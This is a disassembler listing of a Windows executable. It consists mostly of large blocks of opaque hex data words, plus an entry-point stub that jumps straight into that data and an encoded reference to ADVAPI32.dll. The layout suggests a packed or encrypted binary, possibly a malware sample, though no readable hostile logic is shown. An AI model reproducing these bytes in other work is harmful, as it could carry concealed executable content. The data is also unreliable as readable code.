		dd 0D2188167h, 0E472305Fh, 0ACDE4C00h, 0BE13185Ch, 7B233418h
		dd 17429h, 81FC8D2Fh, 16AC775Ah, 90049803h, 0E11A28F7h
		dd 0F4DC9C5Dh, 823302D0h, 0CD4E3C51h, 7B6DE880h, 0AEF62084h
		dd 0D17EAF05h, 0F406CB3Dh, 4B66FF47h, 1A2049A9h, 1FE2B868h
		dd 9CC26D00h, 1091E08Eh, 387B5C15h, 384C8522h, 6FD28024h
		dd 48A3AB5Eh, 985844CDh, 3B508EC3h, 3C99A5E9h, 0B277809Ch
		dd 0F4D9E5E3h, 719D00EAh, 0EF7D369Ch, 0CD03A247h, 19CFDD52h
		dd 301EF887h, 97CA8871h, 514C8100h, 3E28346Fh, 35DE07BFh
		dd 908BFDh, 0D3DA09E9h,	0C455080Ch, 0C8A92Ch, 9B47F2DEh
		dd 0CAB7AF87h, 0AA0002F8h, 0A20FE5Bh, 5023170Bh, 89DFE45Fh
		dd 95BC20C6h, 18E44132h, 5690227Ah, 0F2C887Ah, 1B08C891h
		dd 0CDE884FAh, 0C1F0825Ch, 1169B080h, 0C0A0CA0Ah, 1898D2D9h
		dd 2E20BA01h, 3C380B87h, 304DF5F4h, 3B61902Ch, 0E5002925h
		dd 0E238163Ah, 2624B460h, 1146273h, 7278012h, 1E0434D8h
		dd 0FF5D5F00h, 228A8296h, 403C964Dh, 95A9FEC2h,	0D432304Bh
		dd 314E184h, 20CD1510h,	0E67D7703h, 0B2F31465h,	0A82068BEh
		dd 929F0A2h, 0A3CAE32h,	1BA08F0Eh, 0E4866DD6h, 5920C430h
		dd 87315Ah, 7B7DB49Bh, 0EADA0C24h, 1868603Eh, 0B582E626h
		dd 54142E43h, 1EE11390h, 0B29228h, 0B33ED75Ch, 7E0D7AC4h
		dd 20D22AA1h, 8D10AC62h, 14204BBAh, 756546Dh, 0FC2EA1BCh
		dd 0B80172F7h, 0B0E6D380h, 76002B12h, 0DBD72AA9h, 29F05E7h
		dd 964652D1h, 0F0417778h, 5C61C84Eh, 0F4B0667Ah, 5EA34900h
		dd 801B988Ah, 40A1022Dh
		dd 5767BFF6h, 0F42394A4h, 3700C148h, 0BAF5CD54h, 188BEEh
		dd 9FCA3FC3h, 1A1EB62Ch, 88A99A61h, 62E44C1Ch, 0DB350095h
		dd 0FF41BB53h, 3600397Ah, 20678016h, 26D29715h,	42E4B855h
		dd 0D05A3057h, 58E20207h, 0C1903327h, 413529h, 0A5818623h
		dd 0CCAE9613h, 0A1244498h, 8A3F08E9h, 0CC9A5695h, 0E0B33381h
		dd 0C131A41Ch, 88FB2C60h, 57502744h, 255B408Bh,	0DCF84C20h
		dd 51E6DDh, 6B021015h, 50FA3D47h, 467D5F00h, 9B861BFFh
		dd 55480778h, 59903328h, 8860B06Ah, 2101BDFCh, 49D25125h
		dd 74602D19h, 5FF3C4Eh,	7E32E16h, 0CA1A9D70h, 8E4D8794h
		dd 0D6B493B2h, 476EF7A8h, 0C46BCB0Ch, 0F25921h,	68EC7967h
		dd 575AF166h, 1CA7339h,	5F38B6A9h, 81E21F6Fh, 0CD956B80h
		dd 84487826h, 0A67B4200h, 0B5B96EA4h, 0D3464C02h, 4431BEC8h
		dd 0EB081CDCh, 6BDE5Fh,	0E532390Fh, 48B8E2D2h, 7BC8A300h
		dd 1AF603B1h, 39DD18A7h, 1B48390Eh, 0E2EA28F2h,	239B172Ch
		dd 0BB11D303h, 3B901785h, 0DB0C00E5h, 18F5E87Fh, 84519014h
		dd 99DD1D50h, 8700DE5Fh, 0BE304EB1h, 86D11D5Ch,	0E41A4858h
		dd 3C0324A6h, 0D0F90457h, 42B7473h, 11563AD2h, 31BCB4C6h
		dd 805518A0h, 13C6874Ch, 401E17EAh, 7B99540h, 0BD6DA42h
		dd 4BEC676h, 983AA893h,	0E544A4h, 69159A4Ch, 0B3AC421Bh
		dd 8C794D09h, 0CE6080D1h, 744BC03h, 0D8DC8E92h,	0FF403C35h
		dd 0B4987350h, 5FF7DE00h, 8BC63A5h, 8322107Ch, 2AF802DFh
		dd 0B849ED04h, 163D5E84h, 1D2730D1h, 99F401ACh,	334D209Eh
		dd 0BCD21BCh, 44083B19h, 7BD50920h, 0A5425868h,	5E27E900h
		dd 7F2430E4h, 5AAB163Eh, 63FC201Dh, 0C90083FDh,	91307AEEh
		dd 6023D669h, 6585697Ch, 0F701D0B3h, 0F43366C0h, 710E6EDh
		dd 470112C3h, 6C9D14D8h, 0FDD890B1h, 7C38480Ch,	442EC058h
		dd 3C340F8h, 60004692h,	25799CBBh, 4BFC0605h, 878020CFh
		dd 8E0010BFh, 0F6787034h, 5A390A2Bh, 0DB0C4638h, 0D600C620h
		dd 9E87E777h, 3E39E5EBh, 848B5F09h, 3B006B48h, 0A82BD6FAh
		dd 0BED23306h, 30415630h, 11D99423h, 6200F438h,	95314371h
		dd 1FFE0D34h, 0F7B6835h, 36214CE2h, 298CFC55h, 0E72220h
		dd 91632F3Eh, 0FD4F5887h, 30E04202h, 0CC842150h, 0AD8A3F38h
		dd 9CEFC909h, 1700C444h, 8F5397DDh, 0B82A9309h,	0B0E0FAA4h
		dd 0D8BC1690h, 7B8008D2h, 7347999Eh, 4450E6FAh,	8310B9h
		dd 7CECABCFh, 55D3D6Ch,	0E54A7116h, 2048F030h, 0E13F00D8h
		dd 9BDE4E38h, 0A1000EA3h, 67F14FCh, 4B7BBDBBh, 880040F6h
		dd 0CE4D9820h, 0B892A23Bh, 0AFC091Ah, 64060C8h,	3FA0A8E6h
		dd 695D024Eh, 38BDB360h, 9E03FC44h, 0D476725h, 8E6B88AFh
		dd 44EA0F81h, 30B346E5h, 6DF34EE0h, 63EC1C1Fh, 0BC9A99C1h
		dd 27EC54D1h, 92061695h, 1804901Ah, 4203C837h, 63E079E8h
		dd 0FAD1D0D9h, 3E0F005Ah, 30285F4Dh, 0DE12B8E5h, 94074E86h
		dd 0E9A02E6Ah, 1796A20Ch, 25FA55ABh, 8CB2E0h, 1B729925h
		dd 1C42E9C1h, 0EF4B458Dh, 0DF13C2D0h, 420304Dh,	8437A3h
		dd 81201404h, 783B21D9h, 5FFD7400h, 3A109C5Eh, 0D0C90105h
		dd 0EB5A88E6h, 7BCCF045h, 8796773Dh, 2BEE5BB6h,	4076BC62h
		dd 4C25B27Ch, 0A300247Eh, 0F5726EA9h, 75093B3Eh, 2EA1F5Ah
		dd 41FEBFD8h, 6BF03010h, 3F330096h, 783782FCh, 6F160519h
		dd 30884555h, 0CC970972h, 94CAA2BEh, 0A09CECD8h, 0E451C240h
		dd 574706CFh, 20E99C15h, 0EB19611Fh, 981A0540h,	45E6E22h
		dd 1EE00CE2h, 0D4E2CCh,	4D896937h, 59958F08h, 5089284Bh
		dd 0F6043C18h, 0E100E7F8h, 22493AB0h, 997057h, 0D9599F5Ah
		dd 0D72504F3h, 2827B3Ah, 86D3BB90h, 84591Bh, 65A1DF47h
		dd 3D00D72Fh, 52B50637h, 25143B82h, 7C20391Fh, 0C46583F6h
		dd 85993807h, 7C60C3F5h, 1ACBFB7h, 6BC907A9h, 6C374FABh
		dd 6A6000FCh, 3A25226Ch, 16392C04h, 6420D4h, 0E7A1B230h
		dd 2938F673h, 0D8B55D00h, 42EE4F3Ch, 3AE8C094h,	67B6EBE9h
		dd 0B20A290Bh, 56C9077h, 0F0F648B7h, 8127FD0Fh,	0CB754001h
		dd 2CA3F4D3h, 2393A48h,	3274F795h, 0E428521Ah, 2186004Dh
		dd 4F5D0C77h, 163A832Bh, 71D082F2h, 2422C4CDh, 0DF3F8025h
		dd 33984A15h, 19368600h, 0EB1B7491h, 2589020Bh,	5B097342h
		dd 50401054h, 1923B77h,	466C4D1Bh, 5072D345h, 61B1BB10h
		dd 0DCEAB500h, 0BDC8837Bh, 60A0B608h, 54A832D2h, 7235BE00h
		dd 216CFB7Dh, 0B7F30017h, 0EE7BC6CAh, 0E500A6FAh, 0DCB88103h
		dd 0AB0DA1h, 91B745E9h,	48BD9A2Dh, 0AF951D00h, 7ADC3FA4h
		dd 4055332Eh, 34C07540h, 6300F935h, 624C8D77h, 0F13B7F87h
		dd 145D6FCh, 0ABB2BFC1h, 0ECEAE885h, 46227764h,	78CC3C7Bh
		dd 11E02F3Dh, 0C44A652Eh, 26481360h, 63F5958Dh,	485B319Dh
		dd 0C6651AE0h, 0C0798A37h, 353229C0h, 0A9B0BCh,	8B94D4A3h
		dd 0A427C545h, 0B830C176h, 431828DBh, 970300CFh, 0C32F880Ah
		dd 270006DEh, 0E44D28A1h, 5A4B3ABh, 0F7D6B6E0h,	65904043h
		dd 850E3BACh, 4A54FE01h, 377AC063h, 7DCDD0h, 5B889E43h
		dd 93CF35A8h, 653D9C07h, 41BC1CEAh, 0F1F30F40h,	0CDFCEB9Dh
		dd 401942F4h, 0A841452Fh, 2135B601h, 7AEBF695h,	538EE88Ah
		dd 611B8088h, 0BA6C51B1h, 0ABA8CF50h, 0A154AA03h, 0A8FDF202h
		dd 2E6211h, 50CA1488h, 2C329672h, 3BD08CFh, 1766DFAAh
		dd 0A0456919h, 0D31C53D3h, 0ED4090D8h, 8815B7CEh, 296C673Fh
		dd 78EED6DFh, 0C6FCA01Bh, 57D5E048h, 70FC1Ah, 0B8473413h
		dd 0C2CD4A5Ah, 0D2081407h, 31B38DD0h, 0E61A00F3h, 82AEB10Fh
		dd 0B407C251h, 6E83DC0Bh, 60AB63F0h, 0EA060050h, 93F214DEh
		dd 0B502972Dh, 0AD20C4DFh, 2E17D0F7h, 1CC73017h, 0D9824193h
		dd 208CC43Ah, 3E06DD29h, 736F8BD6h, 0FA9900E8h,	0A50E1578h
		dd 4B001E53h, 0A1722E80h, 2AB555Fh, 328D65C2h, 8CA17F2Bh
		dd 0D9352CF2h, 0CB118082h, 9587A879h, 3F0D0040h, 2056B964h
		dd 4B0037FAh, 0CD65F338h, 2694D30h, 0C481ADB5h,	0B4A0AC43h
		dd 164506Fh, 0B6FAF603h, 0C849506h, 0ADD33659h,	77052E7Ch
		dd 2B620C44h, 0C787C0FAh, 0B8008443h, 49C4E840h, 54D65E2h
		dd 0C8175631h, 11DC20DEh, 0E9008486h, 0A863ED2Dh, 54E060D2h
		dd 12CC97h, 40813CDDh, 5188C65Bh, 0E095A83Fh, 121C5F81h
		dd 0A0EE1Bh, 0FBF7A9CEh, 4CDAE10Ch, 0DC0CE077h,	0C9DE2D06h
		dd 0B5990050h, 0B61C9F32h, 94008AEBh, 0ACC4F588h, 1C60B6Fh
		dd 4EDC764Ch, 0E0F68699h, 7C00CA22h, 731281D4h,	33DF6D89h
		dd 49505D1Ch, 238060B0h, 7B958C00h, 7EECFA42h, 9F0E00F0h
		dd 0AC4CA97Dh, 0AA603EC9h, 65F20A81h, 0C4E00056h, 8830B545h
		dd 4C91BF17h, 0D225DE07h, 0BCE76071h, 7C10B917h, 1300C959h
		dd 4BF70106h, 22ECBEFh,	701436F2h, 0EB438367h, 707768C1h
		dd 5C284C71h, 3299C1Fh,	0ED07D896h, 69F1DAB4h, 0D2F527A4h
		dd 0EFCC6EE1h, 36F9070Ch, 0C02B4ED0h, 0A040BBC9h, 9B3B9F0Ah
		dd 5318BC27h, 48010760h, 73317CA6h, 308B3610h, 6206D938h
		dd 34DF9166h, 0A74903B1h, 1EC3F6C5h, 8A6795D0h,	0BC587A63h
		dd 9643881Ch, 413D1908h, 0D8AB407Fh, 0A50F1793h, 60450986h
		dd 3B89EAB4h, 0C9920007h, 55947502h, 1406A6CAh,	71C43257h
		dd 0E40148D9h, 0E6EB8A80h, 2E00C5BFh, 0A838A962h, 4E46622h
		dd 0C92D5520h, 0D6C98E7h
		dd 2FBF4301h, 817FFFBAh, 72C5DEE4h, 1851C0FAh, 0A22D3F0Ch
		dd 0CAE30A07h, 4D57E4CFh, 80E94680h, 1DA9034Ah,	0BE3D8C68h
		dd 6DE6C9B0h, 9530DC92h, 1685A166h, 438C00F0h, 44255614h
		dd 47FD0B0Dh, 9DEE7010h, 6802D895h, 0FDB56B2h, 0E6040DEh
		dd 3E872E2Dh, 269A04D5h, 1324C3F1h, 444BEFFAh, 0DC86E9D0h
		dd 0F30DA700h, 107FEDFBh, 0BF910124h, 45EB199h,	58E6E8ABh
		dd 0E6E9A4A1h, 837480A0h, 0F7066E51h, 3DDA3E4Ch, 1E5C9070h
		dd 8AC1183Fh, 0BD84C2FAh, 0A78E1580h, 5C63E6F3h, 4E250E00h
		dd 0F98F4F45h, 329E1D9Ch, 90D1B7E2h, 7F3C92FFh,	44885418h
		dd 0EA479971h, 3D7D0094h, 0D433A024h, 0B54C3021h, 0F749DE5Ch
		dd 38A204A6h, 5751BC80h, 45AF24D7h, 0EC390538h,	9F8C213Eh
		dd 9006349h, 80A69A0Ch,	0E40774F3h, 3B89822h, 4AF7FF3Ch
		dd 0E048DB53h, 957403DCh, 6ABB4C9h, 0DE919C99h,	8100492Eh
		dd 0B770D1B0h, 1F3AF8Bh, 4E155ABEh, 0E8DF809Dh,	8824D458h
		dd 3241741Bh, 0C18660DEh, 19C03E97h, 7340887Bh,	791F0063h
		dd 0DA49EB81h, 3C1D3DA1h, 0F597361Ch, 296E960Ch, 9EE60FD8h
		dd 796FAF22h, 0B0F1D600h, 9502331Fh, 0FB78FC10h, 4C8A2C7h
		dd 0E7F4402Fh, 4EB300B6h, 3F0E936Bh, 0FF049BDFh, 74E69A99h
		dd 0F259A880h, 27E10308h, 0B3548DEh, 0C1D9FFC8h, 585A4A03h
		dd 0F3AD5C3Dh, 4FB90031h, 3B67439Dh, 2FEA90C5h,	1F4E7000h
		dd 0F197C11Ah, 0AFEB0211h, 991372D9h, 50A0F060h, 38AC5758h
		dd 0C42D09FFh, 0CC1270h, 25A3C258h, 0CE39009Ch,	0FCA164FBh
		dd 613EEABAh, 0D0A51299h, 45CE741Fh, 0A0A0EF58h, 0D9B04934h
		dd 0F0D3FCB3h, 294498D5h, 1DB0323Dh, 4C002036h,	8947FD77h
		dd 0A9283Ch, 0F6B8B7D9h, 880E3222h, 377B44h, 853D799Ah
		dd 0F414CE95h, 0D739B21Ch, 0C628C187h, 0D4C92253h, 300C88h
		dd 19F6B992h, 0DDDC73EDh, 0E6C43403h, 7798FCBCh, 0A6AF04D9h
		dd 800A5F52h, 9A6BE350h, 0C98C0351h, 488BE5B5h,	93004FF0h
		dd 0A71E3C37h, 97ACCEh,	8FC406Bh, 99B8C4D9h, 432AC9E2h
		dd 0B704405Dh, 458365D6h, 2ADD7488h, 0F0B0FF60h, 3EE013B6h
		dd 0C48020FBh, 3D90A4F9h, 0CA569300h, 985CEA89h, 973B0B61h
		dd 3400AECFh, 27861232h, 6744A0B8h, 69301D1Dh, 35833B03h
		dd 0F1D5A484h, 32EF3289h, 0B8920054h, 4EC53DFBh, 0A1F079Fh
		dd 97A5E0D5h, 886C614Bh, 0E68623Ah, 21F491F7h, 0DFAC8784h
		dd 0D900B022h, 6058F3D7h, 0C001C440h, 233C8221h, 0B07020A3h
		dd 839630CEh, 2FE87371h, 0ADB05779h, 51060B00h,	0A33FF149h
		dd 0C64C163Ah, 0C59C4028h, 6386086h, 908E061h, 0BC507C8Bh
		dd 0E415CBEh, 78451025h, 8F5EEBC3h, 0B420A198h,	0E8523203h
		dd 0F695E09Dh, 71480379h, 0A0F1DA3Ah, 4059EAC9h, 0B7E1ADE8h
		dd 14C3DB01h, 0ACAEE6B1h, 325C1880h, 69B4DF95h,	98AF540Fh
		dd 9788C5E7h, 31EE441h,	0D88A5273h, 26F0B1C9h, 0A790E010h
		dd 540EB5F4h, 0E0F15103h, 4DF74F3Dh, 6638005Fh,	0F69E11F5h
		dd 12987E3Fh, 34469982h, 0F4514361h, 0F9D0CA07h, 0E6AF00D4h
		dd 39196F17h, 9E39D863h, 37C8861Dh, 7B08A285h, 19E80110h
		dd 7F24F14Bh, 0C02182BCh, 0E083D0A6h, 11A2811h,	16E9EC0Ah
		dd 30A0B629h, 661EC80Bh, 0C9D83E68h, 0C0B01D48h, 0CD78DE51h
		dd 35018042h, 6801A5FEh, 2980EA05h, 0CB3D7B8h, 3AF814DCh
		dd 0B589D567h, 1EA9E1C0h, 0CF49C1B2h, 0F8D2A369h, 870CFE76h
		dd 316F7F46h, 0B6DB0193h, 44C484A9h, 7A4ED02Bh,	83D8793Dh
		dd 9C89515Dh, 0BF8045Ch, 40BA7EFDh, 1AA1509h, 45F2E5h
		dd 0ACC19FE3h, 3B369339h, 9229FE01h, 243C68E9h,	8A589980h
		dd 0EA74223Eh, 2690171Dh, 8E801918h, 7F33000Fh,	0E48CA148h
		dd 0B8C04B50h, 0DE5DA2C8h, 802000B9h, 7B0A99ADh, 401467Ah
		dd 0A87D913Dh, 7FF4F505h, 0C599C7B9h, 1BC090FFh, 0F1F513C3h
		dd 0EA440B7h, 88A8B61Eh, 5EB867ABh, 0E23CDB7Eh,	0F8788F31h
		dd 791BECE8h, 554E1D19h, 0F14A02A0h, 30817EDAh,	0CC30F86Bh
		dd 4DF2EB7Bh, 3CE8E50Ch, 547E394Eh, 0E95AC42h, 805E7F2Dh
		dd 6878C6C0h, 50038A55h, 4585E3E7h, 2F13D076h, 88160239h
		dd 0D875D641h, 0B45F8880h, 0B050302Ch, 4E500CE4h, 0DB00A4F4h
		dd 664A1691h, 3146D021h, 79D1ED1Eh, 60FFF648h, 1696793h
		dd 0FE33E718h, 3093C928h, 0A1C07FF7h, 2026CC37h, 0E656EED9h
		dd 1986649Dh, 174088DBh, 6FCB3200h, 0E5CFC7C0h,	1783840h
		dd 0C630B73Eh, 0EF069450h, 5F8EE80Ah, 0AD001CDEh, 0D0E559BCh
		dd 27545881h, 0A1FCE600h, 41A83CD9h, 0C7421700h, 5025799h
		dd 88100330h, 0DB1E52EBh, 6065C900h, 0F083442Fh, 81B000A0h
		dd 0E32188FBh, 8400D3F7h, 42BC24EEh, 0C028048h,	877E0E06h
		dd 0D007C6C1h, 81C53590h, 15536390h, 0DB2612A0h, 3E40411Fh
		dd 0D8915114h, 30050F1Eh, 44ED784Ch, 33C2AC87h,	0CFE0602Eh
		dd 7B18929Dh, 0C86740B0h, 0FFB5DD00h, 0D1D4CE05h, 1A5B00A6h
		dd 652183D6h, 7E309277h, 4DA389BEh, 8A14004Eh, 2A482454h
		dd 1E6E505Ch, 37E5A749h, 5434D5E0h, 7CC14935h, 2871A500h
		dd 0D04EB9A2h, 0D16F01Fh, 2E8F3200h, 1ABB318h, 78D94801h
		dd 57B11D0Bh, 7C406F98h, 1CC9904Ah, 0B0C4E400h,	0AF873B3Dh
		dd 9049835h, 69D3A6B3h,	9727E004h, 0ACDCD1B8h, 0E25370E6h
		dd 32B91260h, 18768556h, 61D91E25h, 9800231Fh, 0E441FB38h
		dd 9A517Bh, 6CCE9E5Bh, 29943D1Ah, 980F8500h, 0F890CFEFh
		dd 0C304847h, 3D831879h, 0B3D649B7h, 1F4A0818h,	4C02D9D8h
		dd 6C80407Eh, 73B55856h, 0E0AFF500h, 7AFCE89Dh,	6D8600AEh
		dd 4CD5BE8Ah, 23549268h, 7B5312E4h, 2BAA00FCh, 3C8F8D35h
		dd 67B015h, 3DABD164h, 0B0C392Eh, 261AEE00h, 447BD4Bh
		dd 774D790Dh, 0E2CC00B6h, 0EFD9DDBBh, 69378510h, 0B300B1CFh
		dd 0A4DA1D36h, 76A701B4h, 9DD7C7F7h, 0F9C34017h, 3505455Dh
		dd 26B166E8h, 11027DC0h, 854C0632h, 0B1210768h,	0B4A2820Fh
		dd 0B3E3801Ah, 14AD574Bh, 901D23ECh, 48A2A680h,	33030BA4h
		dd 9A49DF1Fh, 0A8A1FB16h, 0B0A9D45Bh, 0D85A1C2Ch, 40F49217h
		dd 0F65002B8h, 7F007C88h, 65583089h, 0AAD847h, 431AB061h
		dd 36969B99h, 0DE832B00h, 1906EFF4h, 0AC320AB6h, 0F405880h
		dd 7B6F78A1h, 0BC64FEh,	0E0D4A648h, 855CFA13h, 0ED29605Dh
		dd 484BACF0h, 0FD0428E1h, 800EC1A0h, 119EC460h,	83BAD815h
		dd 225476CCh, 1C00F080h, 0A279C662h, 28D48B5Fh,	4C940EDBh
		dd 9CC098E2h, 74CD2DAEh, 65FEC301h, 8D8BB21Bh, 0B806B540h
		dd 0CB6EE13h, 1960393Ah, 1591680h, 818844BBh, 2062B203h
		dd 0F39308A3h, 905A88FFh, 3035F215h, 0D8915585h, 410C0D02h
		dd 880F754Bh, 0C5E40172h, 0CA1A6856h, 0F41821FCh, 644951B8h
		dd 0F1AC00DCh, 93955C42h, 0C180002h, 17A08159h,	612E45D3h
		dd 0D8110411h, 39205018h, 7A0033F9h, 0A96594E7h, 0C68CA49h
		dd 6BE1DE4Eh, 9F2885F9h, 63441CDAh, 1BAA01CAh, 736A3A19h
		dd 53A6C017h, 9318E800h, 0FE8F831Eh, 9BDE1391h,	0CBE02380h
		dd 1E13Fh, 691AF3F8h, 2E575FD9h, 47487EF6h, 0E700B9D6h
		dd 0C1FEE8AEh, 787D6426h, 0A61E101Eh, 0A8E6DBCAh, 11F79D80h
		dd 0D1623Ch, 2A662314h,	0E8D2CB18h, 0FEB8820Eh,	38302DA0h
		dd 5B841C6h, 0A40800E7h, 991317B3h, 79CE857Eh, 0F671A19Ch
		dd 5FE80EA9h, 9FB0118h
		dd 51B561CBh, 19F9804Ch, 0F2F1BFF3h, 438107D6h,	0E0911EECh
		dd 95251FB0h, 88403314h, 32A1C7B0h, 0B7DDFB90h,	0DCEE48BEh
		dd 9B4B12h, 0A246010h, 0A7014DFCh, 0EF273EDBh, 9181817Fh
		dd 0CC28295Ch, 0ED39E403h, 0BA67C924h, 472BD304h, 0B48C4C84h
		dd 0D2A5005Ch, 0BBD9CF7Fh, 2926D419h, 6111EC35h, 0A677E00h
		dd 0C26097EDh, 0EB3F2600h, 699AE202h, 19E902B6h, 7EB45549h
		dd 0AEE74080h, 0E1EE16B2h, 7D48F4FAh, 0CD22003Eh, 776A84A8h
		dd 405058B6h, 0EAF85380h, 9500360Eh, 8362DA4Bh,	0F0247Bh
		dd 0B673B313h, 0DB42DA8h, 9A56D500h, 0B8C019F6h, 7180E57Eh
		dd 0B3E1469Eh, 0B0F9B21h, 0E19854C4h, 0D85D41E8h, 81ECE4FEh
		dd 0F9BC5EE8h, 0B4E7EE02h, 54C01276h, 40C7932h,	216552DBh
		dd 0EFFF00DFh, 367C6CCCh, 5C0014CEh, 8B9BC43Ah,	79E48C1h
		dd 3D9DD238h, 0F42050BBh, 0D509E535h, 20E7DB53h, 73168E34h
		dd 681B0078h, 0E8E9E609h, 13295F84h, 3F9D981Fh,	5C46E080h
		dd 14F0CA4h, 4E6EDB5Bh,	0CD7CD082h, 3E887314h, 9D4B8041h
		dd 88CA93ECh, 1454076Dh, 50E3388Fh, 1D22FF4Ch, 2C825813h
		dd 0A6C70C08h, 481560D4h, 25F0825Ah, 398DED00h,	790DC693h
		dd 17E39B9h, 0F5998431h, 5BFAF4EBh, 793CA00h, 0C364D6C1h
		dd 8B2701DCh, 53406723h, 0CD598068h, 3617399Eh,	0D4E406h
		dd 9A6FB4Dh, 0D7DDF12Ah, 0FA82EE17h, 4CAEFC00h,	4815E4EDh
		dd 9B8E441Eh, 0BE062B00h, 0FC004A2Dh, 1E908313h, 303DAE05h
		dd 1808A03Ch, 0DB2A4FFFh, 9600B0E5h, 86A8987Bh,	3C1EB62h
		dd 6E84B9BAh, 0A0B709F6h, 0FE3FD42Dh, 0EE12D671h, 80838C0h
		dd 6A8584BBh, 16E840C9h, 6052724Fh, 1EC4D162h, 9F008619h
		dd 6AE84982h, 1DAA32Eh,	70563DCAh, 20B39E57h, 25003980h
		dd 0A7F08E4Ah, 29333FDFh, 7F01CC4Dh, 0B0FDFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57DB9C:				; CODE XREF: start:loc_513265j
					; DATA XREF: start:loc_513086o
		jmp	loc_581095
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset byte_5DD7AF
		db 10h,	15h, 0F2h
		dd 76h,	0
		dd 84AD2500h, 520000FBh, 2, 29AAA200h, 0FA72B601h, 1B4h
		dd 8 dup(0)
		dd 90EE1800h, 7Ch, 57EF3A00h, 2	dup(0)
		dd 9800h, 0
		dd 0BB500h, 0
		dd 0A6D28700h, 3 dup(0)
		dd 0B0A8CF00h, 12FF5400h, 23E400h, 0D28700h, 5 dup(0)
		dd 802CAC00h, 9000007Ch, 0A608147Ch, 67h, 2 dup(0)
		dd 0F36C5B00h, 4F05FD76h, 0FFh,	5 dup(0)
		dd 0F802B400h, 0FFh, 5 dup(0)
		dd 110B5F00h, 4	dup(0)
		dd 0B0AAA100h, 0Ah dup(0)
		dd 291800h, 5 dup(0)
		dd 80ABDE00h, 90EB167Ch, 7Ch, 33333300h, 2 dup(33333333h)
		dd 33h,	9 dup(0)
		dd 5B1D6700h, 0Bh dup(0)
		dd 0FF000h, 2 dup(0)
		dd 100h, 2 dup(0)
		dd 0EE704000h, 5, 2 dup(0)
		dd 5F424700h, 0
		dd 0FCC32B00h, 91h, 5 dup(0)
		dd 0F07600h, 3 dup(0)
		dd 57E32D00h, 5	dup(0)
		dd 100h, 3 dup(0)
		dd 5BB31500h, 3	dup(0)
		dd 30DF00h, 0
		dd 0CC33200h, 3Bh, 3 dup(0)
		dd 52002C00h, 2, 2 dup(0)
		dd 53800h, 2 dup(0)
		dd 518E3E00h, 4	dup(0)
		dd 40000000h, 90EB9400h, 7Ch, 16B7600h,	0
		dd 0FFFFFC00h, 0FFh, 2 dup(0)
		dd 8235300h, 19h, 2 dup(0)
		dd 0B31CF700h, 3 dup(0)
		dd 0E7E900h, 3 dup(0)
		dd 29AAA200h, 1, 5B84A500h, 90EB9400h, 7Ch, 9 dup(0)
		dd 4BD2E00h, 2 dup(0)
		dd 0B38B3200h, 4 dup(0)
		dd 5B0F8F00h, 4	dup(0)
		dd 100h, 5B83A600h, 5EDFE200h, 0B1249300h, 4 dup(0)
		dd 0A6B39500h, 67h, 200000h, 0
		dd 46DA4400h, 0C2h, 10h	dup(0)
		dd 0B00E2400h, 90EB9400h, 7Ch, 3 dup(0)
		dd 0B183200h, 1, 5B69E500h, 5B832600h, 4 dup(0)
		dd 0A6D28700h, 5BA8FD00h, 2 dup(0)
		dd 0CB8C00h, 0Ah dup(0)
		dd 0A5000000h, 2 dup(0)
		dd 90EB9400h, 5BF1B57Ch, 2 dup(0)
		dd 3000000h, 5F72DC00h,	4 dup(0)
		dd 85800h, 3 dup(0)
		dd 0B2F9E400h, 90EE18ECh, 0A07Ch, 0A1E38800h, 4Ah, 3 dup(0)
		dd 9000h, 8EEBE400h, 7Ah, 4 dup(0)
		dd 12FEC800h, 0
		dd 6C000000h, 2, 6 dup(0)
		dd 5F42DF00h, 0Bh dup(0)
		dd 0B9BD2200h, 31h, 0A6D28700h,	5C3A4300h, 444E4957h, 5C53574Fh
		dd 74737973h, 32336D65h, 5644415Ch, 33495041h, 6C642E32h
		dd 6Ch,	3Ah dup(0)
		dd 5B83A600h, 0
		dd 6B4300h, 0B0FA3700h,	5BA66000h, 0Ah,	5 dup(0)
		dd 29AAA200h, 1, 3 dup(0)
		dd 24242400h, 24h, 0
		dd 21FFB000h, 2, 0
		dd 90009400h, 1C07B67Ch, 5816EA09h, 4 dup(0)
		dd 12FE7C00h, 2	dup(0)
		dd 0A47CEC00h, 0FFh, 2 dup(0)
		dd 5B83A600h, 2	dup(0)
		dd offset dword_600C00
		dd 0EA07B400h, 0ACh, 2 dup(0)
		dd 6B4300h, 0
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 0ECE23600h, 9F53D1FFh, 0FFh,	0
		dd 0BC51B000h, 0Dh, 5 dup(0)
		dd 0E900EB00h, 0AAh, 976FDB00h,	1Fh, 9800h, 0
		dd 0FFD72800h, 0FFh, 2 dup(0)
		dd 83E29500h, 0FEh, 0
		dd 0D2D99A00h, 5Bh, 2 dup(0)
		dd 12FFE000h, 3	dup(0)
		dd 1F400h, 12FEEC00h, 2	dup(0)
		dd 1B302200h, 36h, 0A4146C00h, 0FFh, 7 dup(0)
		dd 12FF5400h, 4	dup(0)
		dd 29AAA200h, 1, 5ED49700h, 0
		dd 0BA8D8D00h, 34h, 0C05FDE00h,	714200AEh, 5B0FA9EDh, 0
		dd 5816DA00h, 7800h, 4CFFBA00h,	0FFh, 0Dh dup(0)
		dd 0C7D2A200h, 24FE64Eh, 0Dh, 57EE9D00h, 5 dup(0)
		dd 5EC81100h, 5ED39C00h, 0
		dd 0DDEBD500h, 7Ch, 4 dup(0)
		dd 5B122A00h, 0DBD9CC00h, 90DDF905h, 7Ch, 0
		dd 861100h, 26h	dup(0)
		dd 0FF927400h, 0FFh, 0A3EB2600h, 0FFh, 0
		dd 0FF340400h, 0FFh, 3 dup(0)
		dd 100h, 0B2FCAD00h, 0
		dd 90EB9400h, 7Ch, 0
		dd 90EB9400h, 7Ch, 5801F100h, 2	dup(0)
		dd 28A69400h, 36h, 2 dup(0)
		dd 334600h, 4 dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 29AAA200h, 5D13D001h, 9 dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 3540C200h, 74h, 0
		dd 3D745C00h, 0BDh, 5 dup(0)
		dd 5BF21300h, 6	dup(0)
		dd 29AAA200h, 1, 4 dup(0)
		dd 0B4EE000h, 53h, 0
		dd 0C530DF00h, 0A9h, 5B002300h,	7 dup(0)
		dd 5D6AAF00h, 90EB9400h, 7Ch, 5	dup(0)
		dd 1499E400h, 0
		dd 0FF8D8D00h, 0FFh, 5B831400h,	4 dup(0)
		dd 1DE58600h, 0Eh, 863F5800h, 7Ch, 8 dup(0)
